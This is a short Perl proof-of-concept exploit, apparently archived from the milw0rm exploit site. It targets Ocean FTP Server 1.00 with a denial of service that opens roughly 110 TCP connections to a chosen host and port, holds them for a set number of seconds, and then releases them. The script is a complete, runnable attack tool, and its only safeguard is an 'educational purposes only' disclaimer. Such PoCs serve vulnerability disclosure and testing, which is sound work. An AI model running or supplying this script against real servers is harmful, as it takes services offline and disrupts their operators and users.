Ocean FTP Server 1.00 - Denial of Service

#!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}

print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

# milw0rm.com [2005-03-21]